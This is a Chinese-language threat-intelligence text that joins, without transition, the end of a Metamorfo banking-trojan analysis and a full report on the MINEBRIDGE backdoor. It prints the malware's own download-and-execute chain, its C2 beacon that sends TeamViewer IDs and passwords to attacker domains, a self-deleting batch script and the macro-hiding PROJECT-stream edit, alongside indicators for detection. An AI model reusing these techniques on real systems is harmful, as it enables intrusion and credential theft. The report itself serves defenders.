上图展示了对SetClipboardData()函数的调用,其中的第二个参数就是攻击者的钱包地址(即:163McXwBrc9S7JzbgegzVuw7QTJ9H1dQj7),用于替换系统剪贴板中的原始地址。

通常情况下,用户在进行比特币交易时都会复制粘贴钱包的地址。在这个恶意软件变种中,Metamorfo会检测并覆盖剪贴板中的目标钱包地址。这样一来,受害者在不知不觉中,就会将比特币转移到攻击者的比特币钱包地址(163McXwBrc9S7JzbgegzVuw7QTJ9H1dQj7)。

(2)金融机构Timer函数

随后,将调用EnumWindows() API函数遍历受害者操作系统中的所有窗口。其中,EnumFunc()回调函数会收集所有窗口标题,并添加14H长度的随机字符串前缀。添加前缀后的窗口标题类似于“{14H长度的随机字符串}+窗口标题”。在进行修改后的窗口标题,会添加到字符串列表框空间中。在这里,还可以收集受害者可能在浏览器中访问的在线银行网站页面标题。

然后在Timer函数中,从字符串列表框控件中逐一读取修改后的窗口标题,并与目标金融机构的关键字进行字符串匹配。其中,包含32个关键字,对应包括美国、加拿大、秘鲁、智利、西班牙、巴西、厄瓜多尔、墨西哥等国家的二十多个金融机构。出于安全考虑,我在本文中将不会提到恶意软件所针对的特定关键字或特定金融机构。

在确定窗口标题与其中一个目标金融机构的关键字匹配之后,将连接到C&C服务器,该服务器与前文所提到的主机不同。

下面是解密C&C服务器主机字符串和端口号的代码段,经过解密后,得到网址“ssl[.]teamo[.]life”和端口“8350”。

[...]
022965F7  lea  eax, [ebp+var_18]
022965FA  mov  edx, ds:dword_235CE2C   ;encrypted host string
02296600  mov  ecx, 0
02296605  call  _WideCharToMultiByte
0229660A  mov  eax, [ebp+var_18]
0229660D  lea  edx, [ebp+var_14]
02296610  call  decrypt_fun   ; de=> "ssl.teamo.life"
02296615  mov  edx, [ebp+var_14]
02296618  lea  eax, [ebp+var_10]
0229661B  call  str_Ascii_Unicode
02296620  mov  edx, [ebp+var_10]
02296623  lea  ecx, [ebp+var_C]
02296626  mov  eax, [ebp+var_4]
02296629  call  sub_2296470  ; gethostbyname
0229662E  mov  edx, [ebp+var_C]
02296631  mov  eax, [ebp+var_4]
02296634  mov  eax, [eax+3DCh]
0229663A  call  sub_20BF29C
0229663F  lea  eax, [ebp+var_24]
02296642  mov  edx, ds:dword_235CE30  ;encrypted port number
02296648  mov  ecx, 0
0229664D  call  _WideCharToMultiByte
02296652  mov   eax, [ebp+var_24]
02296655  lea   edx, [ebp+var_20]
02296658  call  decrypt_fun   ;; de=> "8350"
0229665D  mov   edx, [ebp+var_20]
[...]

C&C服务器的命令和控制

在与C&C服务器建立连接后,客户端将向服务器发送命令“ < | QFUNHSNXU | >”,并等待控制命令返回以在受害者的系统上执行更多功能。

下面是Metamorfo恶意软件与其C&C服务器之间的通信示例:

< | QFUNHSNXU | >< | PT | >< | tksN | > OP57--06-01-N-96 < | > 32-Windows 7 Ultimate6.17601 < | > ********-PC-微软安全必备软件-L4N4c10n < | > *** *****-PC < < | 2 // && ikILVm9ZtX!L4N4c10n

Metamorfo将“ < | QFUNHSNXU | >”发送到服务器,然后从服务器接收到控制命令“ < | PT | >”,并执行了该命令的代码。如您所见,它随后发送了响应包“ < | tksN | >”,其中包含Metamorfo版本,系统版本,平台信息,受害者的计算机名称,任何已安装的AV软件,匹配的金融机构名称的标识符字符串。 (“ L4N4c10n”),依此类推。 

注意:在数据包中,符号“ < | >”是一种分隔符,而“ < < |”是结束符号。

与以前的变体一样,此Metamorfo客户端使用SocketRead()函数来接收和处理来自C&C服务器的此套接字的控制命令。 

我们所分析的Metamorfo变种共支持119个控制命令,包括:

“ < | YuiqkwSgot | >”,“ < | PT | >”,“ < | VOTM | >”,“ < | Gpsxi | >”,“ < | ZKXAKYWQKEHUGZJ | >”,“ < | lozyw | >”,“ <  | SuaykRJ | >“,” < | SuaykJI | >“,” < | ztUjzwtR |>“,” < | IXjzwtR | >“,” < |文件夹| >“,” < |文件| >“,” < |下载文件| >“,” < | UploadFile | >“,” dkxqdpdv“,” fuobhjh“,” pyfsqtpofn“,” camarinho“,” beijada“,” cidadao“,” dlulztody“,” janainaa“,” nnnaewhwf23nvcxx“,” vanuza “,” vanessa“,” carmena“,” petereca“,” jpevtpjevtjte“,” djqduidxorv“,” dulhkqzprf“,” vaidamole“,” vadiadaum“,”lzyxyzoxzdy”,“ baraomagao”,“ IbqJxbxma”,“ Lmatqo”,“ puplY”,“ hajluvjlY”,“ wlylajhyhJ”,“ gsxuymrle”,“ sjemwbgonehjexhjjexhjxh”,“ phjdqdd”,“ phjdqdd” ,“ JtxyXLWA”,“ urpdzchlrdi”,“ JXyhylipS”,“ ndsoiu43098s”,“ snis4duo3098”,“ ki74yfhsag”,“ KxvoJJ”,“ Bwilmakx”,“ semvergonha”,“ mh42jkrwibA3”,“ Bwiqbi”,“ kdaf4w84fds”,“ iru4837fbcz”,“ apqi398wjx”,“ Bwiaqk”,“ mfklsjfk3049jsfd”,“ Bwikmn”,“ vpupqbd”,“ ulrvAkhyI”,“ posseco”,“ jpwhslAz”ihAhaP”, “dsefsdfds342342”, “massonaria”, “kldiu4324987dyyds”, “iejdskdjkfl3426232hdshdhs”, “maconha”, “cnirhx87ds”, “b9f8vnh3f7dhvsja4”, “ihAwpMhauhW”, “nhfjds98743hvfavb”, “mfki73t1dav”, “fodiufjdo834yfdgf”, “f9ksa8iuvdo” ,“ miwey82fqq”,“ oropeiru23”,“ kmcjds09498”,“ ewaewqrtrrmwoa”,“ m94ufasjczbal”,“ ulzcecrvAkhocpgyI”,“ hslfasreweyI”,“ perebao”,“ japones3fadhhh”,“ hk”,“ k”,“ bisurdor”,“ curvaduru”,“ vvjpwulw”,“ bosteiro”,“ lkfjasofu4343849”,“ fkvoiudas98”,“ coichzbz”,“b98djzc”,“ klfjs943jfs”,“ eaqeutmn5r”,“ cracreuz”,“ guilhermina”,“ ztchrhAhaP”,“ IIzvsI”,“ HAPzvsI”,“ juventude”,“ HAUHWzvsI”,“ KHYIzvsI” ,“ hruxyoiu”,“ COZUMEL”,“ COZUMARIA”,“ LMAimwc”,“ baci83427daca”,“ daa243bi78acc”。

下面列出了主要Socket中包含的主要控制命令和功能说明。根据这些命令及对应的功能,我们可以掌握Metamorfo变种可以在受害者计算机上执行的操作。

image.png

dkxqdpdv:向受害者展示包含特定信息的消息框。

vanuza:重新启动一些Socket。

vanessa:向受害者展示虚假消息,要求输入验证码。

carmena:该命令中包含多个子命令,可以将命令数据包中指定的内容模拟受害者输入,输入到文本框中。

ev:从C&C服务器下载MSI文件并执行,该命令还可以进行恶意软件的自我更新。

djqduidxorv:重置标志文件,删除文件和相关文件夹。

baraomagao:最大化所有正在运行的浏览器(IE、Chrome和Firefox)窗口。

IbqJxbxma, hajluvjlY:设置系统任务栏可见。

Lmatqo:关闭受感染的操作系统。

puplY:重新启动受感染的操作系统。

wlylajhyhJ:通过调用PlaySoundW() API来播放“SYSTEMSTART”(系统启动)声音。

LkingWajuGhkzwu:关闭Socket,并退出Metamorfo恶意软件。

vkbAlcvtlY:运行.bat脚本以删除特定文件。

JtxyXLWA:删除.dll文件并关闭系统。

urpdzchlrdi、JXyhylipS、ndsoiu43098s、snis4duo3098、ki74yfhsag:这些命令是相关的,其功能是启动线程,然后操纵这些线程控制受害者的输入设备,包括鼠标和键盘。例如,可以组织受害者在浏览器上的鼠标操作(单击、双击、选择文本、右键单击等)。

KxvoJJ、Bwilmakx、semvergonha、mh42jkrxc3、BwiAivbi、vBiAiiwbwew、Bwiqbi:这里有超过50个命令,但在此仅列出其中的7个。这些命令可以隐藏系统任务栏和鼠标光标、显示特定控件以展示受害者信息、要求受害者输入密码等内容。一些命令还会运行Timer,以终止“Windows任务管理器”。

vpupqbd:恢复上述命令更改的所有状态。

IIzvsI:在用户配置文件的文件夹下,创建一个文件。

COZUMEL:启动线程,以在浏览器上运行按键记录器。

COZUMARIA:停止按键记录器,并将记录的数据发送到C&C服务器。

LMAimwc:关闭正在运行的浏览器,向受害者显示一条信息,随后重启受害者的系统。

以最后一个控制命令“LMAimwc”为例,该命令会关闭正在运行的浏览器,包括“Microsoft Internet Explorer”、“Google Chrome”和“Mozilla Firefox”,显示一条消息,然后重新启动受害者的操作系统。下图展示了显示的消息内容(西班牙语),其内容是:我们的页面当前正在进行安全性调整,现在暂时无法帮助你,请稍后再试。你的系统将在操作完成后重新启动。

控制命令“LMAimwc”的消息:

7.png

解决方案

可以使用安全防护产品的Web过滤、反病毒、IPS功能防护计算机免受Metamorfo变种的危害,具体如下:

使用Web过滤服务,阻断对恶意URL的访问。

使用反病毒产品,检测并删除恶意MSI文件(FortiGuard反病毒产品将其检测为“W32/Metamorfo”)。

使用入侵防护系统(IPS),检测Metamorfo恶意软件与其C&C服务器之间的恶意通信流量。

威胁指标

URL:

hxxp[:]//escapuliu[.]com/happynewyear/EYHS2BZM31D225Q.php

hxxp[:]//www[.]chmsc[.]edu[.]ph/library/modules/down/op57.lts

SHA-256样本:

[view-(AVISO)2020.msi]

EB1E5EAEA4ECC04B920BBD955C16B17F3D5AC3C580EA266FF5B9D589B8B49E0C

概述

在2020年1月,FireEye连续观察到多个有针对性的网络钓鱼活动,这些恶意活动的最终目的是下载并部署MINEBRIDGE后门。此次恶意活动的目标主要针对美国的金融服务组织,这一范围比我们此前使用FireEye产品进行遥测所获得的结果要更为广泛。我们观测到,攻击者曾针对韩国的组织发动攻击,其中涉及到一家营销机构。

在这些恶意活动中,攻击者精心制作了网络钓鱼的文档,并且利用了一些公开记录的文件。但根据我们的经验,此次攻击所使用的TTP并不常见,这可能是为了降低恶意文档中的宏代码被检测出来的概率。攻击者还在多次攻击中使用了自托管的电子邮件营销解决方案。值得关注的是,在这些恶意活动中使用的Payload,其加壳工具与之前我们发现的某个威胁参与者相关联,我们将在后面进行详细讨论。

本文主要分析这些恶意活动的主题及目标,说明攻击者所采用的独特攻击手法,对MINEBRIDGE后门(C++)进行分析,揭示一些潜在的关联性。最后,通过种种蛛丝马迹,我们发现威胁参与者对说唱音乐表现出不同寻常的喜爱。

发现恶意活动

我们在2019年12月首次发现了MINEBRIDGE恶意样本,并在2020年1月初首次观察到与该恶意活动相关的网络钓鱼活动。为了开展此次攻击,攻击者专门注册了与邮件内容相一致的域名,并使用这些域名上的邮件地址发送网络钓鱼信息。

攻击者可能正在使用名为Acelle的自托管电子邮件营销解决方案。在通过Acelle平台发出的电子邮件中,都会添加格式为“X-Acelle-

我们发现,在全部恶意活动中,都使用了相同的TTP,即“Customer-Id”值均为“X-Acelle-Customer-Id: 5df38b8fd5b58”。除了这个值之外,在我们所观察到的全部恶意活动中,还具有相同的“X-Acelle-Sending-Server_Id”和“X-Acelle-Campaign-Id”值。所有消息都包含一个“List-Unsubscribe”标头,该标头提供了一个托管在45.153.184.84的链接,说明这个服务器是网络钓鱼活动所使用的Acelle服务器。我们发现的样本详细信息如下。

时间戳:2020年1月7日 16:15

发件人:[email protected]

标题:tax return file

x-acelle-subscriber-id:25474792e6f8c

x-acelle-sending-server-id:5e14a2664ffb4

x-acelle-customer-id:5df38b8fd5b58

x-acelle-campaign-id:5e14a2664ffb4

时间戳:2020年1月7日 15:59

发件人:[email protected]

标题:tax return file

x-acelle-subscriber-id:22e183805a051

x-acelle-sending-server-id:5e14a2664ffb4

x-acelle-customer-id:5df38b8fd5b58

x-acelle-campaign-id:5e14a2664ffb4

时间戳:2020年1月7日

发件人:[email protected]

标题:tax return file

x-acelle-subscriber-id:657e1a485ed77

x-acelle-sending-server-id:5e14a2664ffb4

x-acelle-customer-id:5df38b8fd5b58

x-acelle-campaign-id:5e14a2664ffb4

时间戳:2020年1月7日 16:05

发件人:[email protected]

标题:tax return file

x-acelle-subscriber-id:ddbbffbcb5c6c

x-acelle-sending-server-id:5e14a2664ffb4

x-acelle-customer-id:5df38b8fd5b58

x-acelle-campaign-id:5e14a2664ffb4

恶意文档所请求的URL与恶意活动中交付最终MINEBRIDGE Payload的URL具有重合,这些域名都使用相同的托管安全防护服务。用于下载最终Payload的URI是“/team/invest.php”或“/team/rumba.php”。在这里,我们发现了一个最有趣的相似点。在大多数情况下,如果我们对这些域名的父目录“/team/”发出GET请求,将会返回Onyx乐队的“Bang 2 Dis”歌词。由于这一返回内容非常明确,我们在这里就不具体展现歌词的内容。

综合来看,这一系列恶意活动所注册的域名相同、诱饵内容相同、恶意文档宏代码相同,并且钓鱼邮件的主题相同。自首次发现相关恶意活动以来,我们已经先后发现了3次不同的攻击活动。

攻击活动1:2020年1月7日 – 税收相关主题

· 在这一系列攻击中,攻击者使用了在2019年11月下旬注册的CPA相关域名rogervecpa.com,向目标用户发送标题为“Tax Return File”的电子邮件,在邮件正文中包含与IRS相关的文本。

· 邮件附带的Payload经过精心设计,仿冒成与H&R Block相关的报税表格。

· 该攻击活动所针对的目标是金融部门。

1.png

2.png

攻击活动2:2020年1月8日 – 营销相关主题

· 在这一系列攻击中,攻击者使用了在2019年11月下旬注册的CPA相关域名rogervecpa.com和pt-cpaaccountant.com,后一个域名同样是在2019年11月下旬注册。

· 该钓鱼邮件的标题和正文主要提供虚假的营销合作机会。

· 邮件附带的Payload使用了通用的主题,以图片方式诱导用户启用宏内容。

· 该攻击活动主要针对韩国的营销机构。

3.png

4.png

攻击活动3:2020年1月28日 – 招聘相关主题

· 在这一系列攻击中,攻击者使用了多个不同的电子邮件地址发送钓鱼邮件,这些邮箱地址都使用了与招聘主题相关的域名agent4career.com,该域名在2020年1月20日注册。

· 该钓鱼邮件的标题和正文主要伪装成具有金融相关工作经验的应聘信息。

· 邮件附带的Payload被伪装为与正文内容相匹配的金融相关工作经验应聘者的简历。

· 该攻击活动主要针对金融部门发动攻击。

5.png

6.png

详细分析恶意宏代码

在钓鱼邮件中所包含的恶意文档中,使用了许多有趣的TTP,包括利用Office GUI隐藏宏内容,以及VBA Stomping技术(删除Office文档中的VBA源代码,仅保留称为p-code的宏代码编译版本,能有效规避基于VBA源代码的恶意文档检测技术)。

VBA Stomping是一种逃避检测的技术,适用于处理恶意Office文档,使文档中所包含宏的源代码与伪代码(以下简称p-code)不匹配。为了避免重复研究同时节约读者的时间,我们将参考其他研究人员的研究成果进行讲解。首先,我们建议阅读Outflank发布的EvilClippy工具的说明文章。Walmart的安全团队还发表了关于该技术的深入研究。Vesselin Bontchev开发了一个开源的实用程序,可以从Office文档中转储p-code。我们可以利用这个工具,检查文档中与VBA源代码相分离的p-code。此外,可以使用开源分析工具包oletools,通过对VBA源代码中提取的关键字与p-code助记符进行比较,以检测是否存在VBA Stomping技术。

对于感兴趣的读者来说,我们已经列举了很多高质量的研究文章。但简而言之,我们汇总一下上述文章中的关键结论:

1、针对VBA宏中源代码进行提取的静态分析工具,可能无法有效检测使用VBA Stomping技术的恶意p-code代码。

2、在VBA源代码被删除,并且在未编译p-code的Office版本中打开文档时,宏将无法正确执行,从而导致潜在的动态分析失败。

3、如果使用与创建文档时所用的Office版本不同的VBA版本打开文档,VBA源代码将会重新编译为p-code。

4、在Office中打开文档并使用GUI查看宏时,嵌入的p-code将被反编译,以实现查看。

在这里,最后两点说明了,攻击者可以更广泛地应用此类技术,从而增强复杂性。由于EvilClippy这类工具包利用Office版本遍历的功能来解决,因此就导致其版本控制的过程变得非常复杂。攻击者使用VBA Stomping技术生成的文档中包含良性的VBA源代码,但其中的恶意p-code必须要知道创建p-code的Office版本,否则恶意文档将不能发挥作用。除此之外,在攻击者使用VBA Stomping技术生成恶意文档后,一旦用户或研究人员在Office编辑器中打开了宏的内容,他们就会直接看到恶意代码。

实际上,攻击者利用了EvilClippy实用程序的另一个功能,来规避上述问题。攻击者通过修改文档的PROJECT流,使用户或研究人员在Office中无法查看宏的源代码。我们以其中一个恶意样本(SHA-256:18698c5a6ff96d21e7ca634a608f01a414ef6fbbd7c1b3bf0f2085c85374516e)为例来详细说明。

恶意文档的PROJECT流:

ID="{33C06E73-23C4-4174-9F9A-BA0E40E57E3F}"
Document=ThisDocument/&H00000000
Name="Project"
HelpContextID="0"
VersionCompatible32="393222000"
CMG="A3A1799F59A359A359A359A3"
DPB="87855DBBA57B887C887C88"
GC="6B69B1A794A894A86B"
[Host Extender Info]
&H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000
[Workspace]
ThisDocument=0, 0, 0, 0, C
Module1=26, 26, 388, 131, Z

上面的PROJECT流已经被修改。在PROJECT流的工作空间中,引用了一个模块。然而,这个模块没有被定义。最后,我们得到在使用工具对其进行修改之前的PROJECT流:

ID="{33C06E73-23C4-4174-9F9A-BA0E40E57E3F}"
Document=ThisDocument/&H00000000
Module=”Module1”
Name="Project"
HelpContextID="0"
VersionCompatible32="393222000"
CMG="A3A1799F59A359A359A359A3"
DPB="87855DBBA57B887C887C88"
GC="6B69B1A794A894A86B"
[Host Extender Info]
&H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000
[Workspace]
ThisDocument=0, 0, 0, 0, C
Module1=26, 26, 388, 131, Z

有趣的是,我们最初识别出该威胁参与者仅对恶意文档执行了上述操作(避免出现版本不同而增加的复杂性),而实际上并没有对p-code进行Stomping以使得VBA源代码不匹配。这似乎是一个不太寻常的做法,似乎表示攻击者正在评估其恶意活动的效果。上面的恶意文档,是攻击者利用这两种技术的示例,如下图中使用Web公开服务IRIS-H Digital Forensics所展示的截图所示:

7.png

我们可以看到,恶意文档的VBA源代码是空白的Sub过程定义。通过迅速浏览p-code,我们发现该代码可以识别基于网络或基于主机的指标,我们可以借助它们,来确定在正确的Office版本上运行恶意样本时将会执行的操作。当我们尝试在GUI编辑器中打开宏时,Office将报错:

8.png

在研究过程中,我们建议各位研究人员关注以下注意事项:

1、GUI隐藏功能会更改PROJECT流,其中包含一个模块,但在流中没有对模块、类或基础类进行定义。我们可以利用这一点,进行静态检测。

2、尽管不再存在宏的源代码,但样本中的Module1仍然包含静态字符串,这可能表明恶意样本利用了Windows API。同样也可以利用这一点进行静态检测。

9.png

3、在上文提到的oletools实用程序可以进行此类恶意文档的检测。一旦发现误报、漏报或BUG,开源项目的维护人员会定期对其进行修复,以此来实现工具的不断优化:

10.png

攻击者使用上述技术,无疑会额外增加制作样本时所花费的时间,侧面上增加利用该方法扩大恶意活动规模的难度。尽管像EvilClippy这样的工具提供了创建难以检测的恶意文档的方法,但恶意文档中的Payload需要完成额外的工作,必须首先对目标进行指纹识别,才能保证Payload的成功执行。对于威胁参与者来说,如果具备一定资源和技术能力,可以满足上述要求。同时,对于安全研究人员来说,了解上述方法将有助于针对此类恶意活动进行有针对性的检测。实际上,我们还稽查了使用此类技术的恶意样本,发现了一些使用Cobalt Strike BEACON和POSHC2 Payload的其他恶意活动。

近期,我们扩展了FireEye内部的威胁行为树,以确保囊括这些攻击技术。在发布本文时,我们还暂时无法将上述技术(操纵PROJECT流和VBA Stomping)对应到MITRE ATT&CK Matrix for Enterprise中的现有技术上。我们的团队已经将上述内容提交至ATT&CK知识库,同时提交了一些相关的数据。

越过卡扎督姆桥:MINEBRIDGE的感染链

在恶意文档成功运行后,会调用URLDownloadToFileA访问URL hxxps://marendoger[.]com/team/rumba.php,以创建“uCWOncHvBb.dll”。返回的MINEDOOR加壳的MINEBRIDGE样本保存在执行用户的AppData目录下(例如:C:\Users\username\AppData\Roaming\uCWOncHvBb.dll),随后通过调用“regsvr32.exe /s %AppData%\uCWOncHvBb.dll”来执行DllRegisterServer导出:

11.png

随后,将利用Windows API URLDownloadToFileW,从hxxps://creatorz123[.]top/~files_tv/~all_files_m.bin中检索ZIP文件。检索到的ZIP文件将写入到%TEMP%中,并解压缩到新创建的目录“%AppData%\Windows Media Player”下。在解压缩完成后,原始的ZIP文件会被删除:

12.png

在ZIP文件中,包含执行TeamViewer副本所需的合法文件,这些文件在最后威胁指标一章中详细列出。在解压缩名为TeamViewer.exe的文件后,将该文件重命名为wpvnetwks.exe:

13.png

完成上述任务后,uCWOncHvBb.dll会将其自身移动到%AppData%\Windows Media Player\msi.dll。恶意宏随后关闭msi.dll的句柄,并使用wpvnetwks.exe调用CreateProcessA,这将导致重命名的TeamViewer实例对同目录下的msi.dll进行侧加载。该恶意软件通过在%CISDL_STARTUP%\Windows WMI.lnk中创建指向%AppData%\Windows Media Player\wpnetwks.exe的链接文件来确保重启后的持久性,在每次用户登录时启动该文件。

最终,将导致一个合法的老版本TeamViewer(版本11,编译时间为2018年9月17日10:30:12 UTC)被恶意的侧加载DLL(MINEBRIDGE)劫持。

MINEBRIDGE是一个32位的C++后门,通过DLL侧加载劫持技术对老版本、未打补丁的合法TeamViewer远程桌面客户端进行劫持。后门程序会挂钩Windows API,以防止受害者看到TeamViewer程序。默认情况下,MINEBRIDGE通过HTTPS POST请求与硬编码的C2域名进行命令和控制(C2)通信。POST请求中包含一个GUID,该GUID根据系统的卷序列号、TeamViewer唯一ID和密码、用户名、计算机名称、操作系统版本和信标间隔来生成。MINEBRIDGE还可以通过使用自定义窗口过程挂钩的方式,发送TeamViewer聊天消息,与C2服务器进行通信。上述两种C2方式都支持以下命令:下载和执行Payload、下载任意文件、自我删除和更新、列出进程、关闭或重新启动系统、执行任意Shell命令、进程提升、打开或关闭TeamViewer的麦克风、收集系统UAC信息。

MINEBRIDGE的默认通信方式是通过TCP/443端口发送HTTPS POST请求。但是,信标间隔时间可以通过命令进行更改。在发送任何C2信标之前,样本会等待通过SetWindowsTextW挂钩收集TeamViewer生成的唯一ID(< tv_id >)和密码(< tv_PASS >)。

该样本使用TCP/443端口,通过URI ~f83g7bfiunwjsd1/g4t3_indata.php连续向下述主机发送HTTP POST请求,直至收到响应为止:

· 123faster[.]top

· conversia91[.]top

· fatoftheland[.]top

· creatorz123[.]top

· compilator333[.]top

其中,POST正文中包含格式化的字符串uuid=< guid >&id=< tv_id >&pass=< tv_pass >&username=< user_name >&pcname=< comp_name >&osver=< os_version >&timeout=< beacon_interval >,其中< guid >是从系统卷序列号派生的GUID,并使用格式字符串%06lX-%04lX-%04lX-%06lX格式化。此外,请求使用硬编码的HTTP用户代理字符串“Mozilla/5.0(iphone;cpu iphone OS 11_1_1,类似MacOS X)AppleWebKit/604.3.5(KHTML,像Gecko)版本/11.0 Mobile/15B150 Safari/604.1”。

在收到响应后,将会对命令进行处理。一个响应可能会包含多个命令。对于每个执行的命令,样本都会通过TCP/443端口发送HTTPS POST请求,指示命令是否成功执行。该恶意样本响应以下命令:

1、drun:根据命令中提供的URL,下载并执行可执行文件,将文件保存到%TEMP%\

2、rundll_command:根据命令中提供的URL,下载经过XOR编码和LZNT1压缩的自定义DLL,并将其保存到%TEMP%\

3、update_command:将恶意样本文件重命名为

4、restart_command:使用命令行参数COM1_重新启动托管的TeamViewer应用程序。

5、terminate_command:终止托管的TeamViewer应用程序。

6、kill_command:创建并执行自删除的批处理脚本tvdll.cmd,以删除所有解压缩的文件和样本文件。最后结束托管的TeamViewer应用程序。

7、poweroff_command:关闭系统。

8、reboot_command:重新启动系统。

9、setinterval_command:更新C2信标间隔时间。

在响应中执行所有命令之后,样本将在指定的C2信标间隔时间内睡眠。随后,重复上述过程,发送下一个C2信标。这一行为将会无限次重复。

自删除的批处理脚本tvdll.cmd中包含以下内容,其中< 重命名_TeamVeiwer >是重命名的TeamViewer可执行文件(即wpvnetwks.exe),< sample_name >是此示例的名称(即msi.dll)。

@echo off
ping 1.1.1.1 -n 1 -w 5000 > nul
goto nosleep1
:redel1
ping 1.1.1.1 -n 1 -w 750 > nul
:nosleep1
attrib -a -h -s -r %~d0%~p0TeamViewer_Resource_en.dll
del /f /q %~d0%~p0TeamViewer_Resource_en.dll
if exist  "%~d0%~p0TeamViewer_Resource_en.dll" goto redel1
goto nosleep2
:redel2
ping 1.1.1.1 -n 1 -w 750 > nul
:nosleep2
attrib -a -h -s -r %~d0%~p0TeamViewer_StaticRes.dll
del /f /q %~d0%~p0TeamViewer_StaticRes.dll
if exist  "%~d0%~p0TeamViewer_StaticRes.dll" goto redel2
goto nosleep3
:redel3
ping 1.1.1.1 -n 1 -w 750 > nul
:nosleep3
attrib -a -h -s -r %~d0%~p0TeamViewer_Desktop.exe
del /f /q %~d0%~p0TeamViewer_Desktop.exe
if exist  "%~d0%~p0TeamViewer_Desktop.exe" goto redel3
goto nosleep4
:redel4
ping 1.1.1.1 -n 1 -w 750 > nul
:nosleep4
attrib -a -h -s -r %~d0%~p0TeamViewer.ini
del /f /q %~d0%~p0TeamViewer.ini
if exist  "%~d0%~p0TeamViewer.ini" goto redel4
goto nosleep5
:redel5
ping 1.1.1.1 -n 1 -w 750 > nul
:nosleep5
attrib -a -h -s -r %~d0%~p0del /f /q %~d0%~p0if exist  "%~d0%~p0" goto redel5
goto nosleep6
:redel6
ping 1.1.1.1 -n 1 -w 750 > nul
:nosleep6
attrib -a -h -s -r %~d0%~p0del /f /q %~d0%~p0if exist  "%~d0%~p0" goto redel6
attrib -a -h -s -r %0
del /f /q %0

与另一个恶意活动的关联性

我们识别出的MINEBRIDGE样本使用名为MINEDOOR的加载工具包装。自2019年秋季以来,我们观察到一个名为TA505的网络钓鱼组织,在恶意活动中使用MINEDOOR交付FRIENDSPEAK后门。MINEDOOR和FRIENDSPEAK的组合此前也被名为Get2的组织使用过。

我们发现,使用MINEBRIDGE的恶意活动和使用FRIENDSPEAK的恶意活动之间所使用的战术、技术和程序(TTP)只有有限的交集,这可能表明MINEDOOR并非TA505组织所独有。近期,FRIENDSPEAK相关的恶意活动中似乎使用了具有欺骗性的发件人地址、包含嵌入式Payload的Excel表格和伪装成通用技术服务的特定域名。与此同时,MINEBRIDGE相关的恶意活动使用了攻击者控制的电子邮件地址、从远程服务器下载包含Payload的恶意Word文档以及使用各种主题的域名,其中的一些域名在恶意活动开展的数周前进行了注册。与使用FRIENDSPEAK的恶意活动相比,使用MINEBRIDGE的恶意活动在数量和范围上都明显要更小一些。最后,我们在东正教圣诞节期间,发现有俄罗斯地区的攻击者使用MINEBRIDGE恶意软件进行攻击。我们在圣诞假期前后,没有观察到有攻击者投放FRIENDSPEAK恶意软件。根据恶意软件中使用的语言资源,我们认为TA505攻击者可能使用俄语。

这些恶意活动可能代表TA505恶意活动中的一个子集,比如TA505的一个特定客户,或由恶意组织中特定成员进行的操作。上述两组恶意活动所使用的域名都是在Eranet上注册,并且注册者所在地点是JL, US或Fujian, CN,但这并不是普遍的特征,所以我们怀疑TA505使用他人的信息来注册域名。

根据攻击后进行的恶意活动,可以揭示出这些恶意活动是由TA505还是另外的威胁组织进行的。但是,FireEye尚未观察到任何主机被MINEBRIDGE成功入侵的实例。因此,FireEye暂时将该恶意活动与TA505恶意活动区分开来。

致谢

FireEye在这里要感谢文章中所引用开源工具和公开研究成果的作者们。此外,感谢TeamViewer在威胁研究过程中与我们开展的紧密合作。在本篇文章中描述的DLL加载问题已经在2019年10月22日发布的TeamViewer 11.0.214397版本中实现修复。此外,TeamViewer正在努力针对该恶意软件的功能添加更多的缓解措施。

威胁指标

启动进程:

Microsoft Word启动TeamViewer

创建目录:

%APPDATA%\Windows Media Player

创建文件:

%APPDATA%\Windows Media Player\msi.dll

%APPDATA%\Windows Media Player\msi.dll.old

%APPDATA%\Windows Media Player\tvdll.cmd

%APPDATA%\Windows Media Player\wpvnetwks.exe

%APPDATA%\Windows Media Player\TeamViewer_Resource_en.dll

%APPDATA%\Windows Media Player\TeamViewer_StaticRes.dll

%APPDATA%\Windows Media Player\TeamViewer_Desktop.exe

%APPDATA%\Windows Media Player\TeamViewer.ini

%CSIDL_STARTUP%\Windows WMI.lnk

%CSIDL_PROFILE%\

%TEMP%\

%TEMP%\

%TEMP%\~8426bcrtv7bdf.bin

网络活动:

使用HTTPS POST请求,发送到C2 URL。User-Agent字符串:“Mozilla/5.0 (iPhone; CPU iPhone OS 11_1_1 like Mac OS X) AppleWebKit/604.3.5 (KHTML, like Gecko) Version/11.0 Mobile/15B150 Safari/604.1”

C2域名:

123faster[.]top

conversia91[.]top

fatoftheland[.]top

creatorz123[.]top

compilator333[.]top

下载域名:

neurogon[.]com

tiparcano[.]com

seigortan[.]com

marendoger[.]com

badiconreg[.]com

发件人域名:

pt-cpaaccountant[.]com

rogervecpa[.]com

agent4career[.]com

bestrecruitments[.]com

网络钓鱼恶意文档:

01067c8e41dae72ce39b28d85bf923ee

80e48391ed32e6c1ca13079d900d3afad62e05c08bd6e929dffdd2e3b9f69299

1601137b84d9bebf21dcfb9ad1eaa69d

3f121c714f18dfb59074cbb665ff9e7f36b2b372cfe6d58a2a8fb1a34dd71952

1c883a997cbf2a656869f6e69ffbd027

de7c7a962e78ceeee0d8359197daeb2c3ca5484dc7cf0d8663fb32003068c655

2ed49bd499c9962e115a66665a6944f6

b8f64a83ad770add6919d243222c62471600e64789264d116c560b7c574669ec

3b948368fe1a296f5ed18b11194ce51c

999d4f434bbc5d355656cc2a05982d61d6770a4c3c837dd8ec6aff8437ae405a

4148281424ff3e85b215cd867746b20c

9812123d2367b952e68fa09bd3d1b3b3db81f0d3e2b3c03a53c21f12f1f4c889

54f22fbc84f4d060fcbf23534a02e5f6

7b20e7e4e0b1c0e41de72c75b1866866a8f61df5a8af0ebf6e8dbd8f4e7bdc57

5a3d8348f04345f6687552e6b7469ac1

77a33d9a4610c4b794a61c79c93e2be87886d27402968310d93988dfd32a2ccf

607d28ae6cf2adb87fcb7eac9f9e09ab

f3917832c68ed3f877df4cd01635b1c14a9c7e217c93150bebf9302223f52065

9ba3275ac0e65b9cd4d5afa0adf401b4

18698c5a6ff96d21e7ca634a608f01a414ef6fbbd7c1b3bf0f2085c85374516e

9becd2fd73aa4b36ad9cd0c95297d40b

30025da34f6f311efe6b7b2c3fe334f934f3f6e6024e4d95e8c808c18eb6de03

9cce3c9516f0f15ce18f37d707931775

bf0adb30ca230eee6401861e1669b9cfeaa64122cc29c5294c2198f2d82f760e

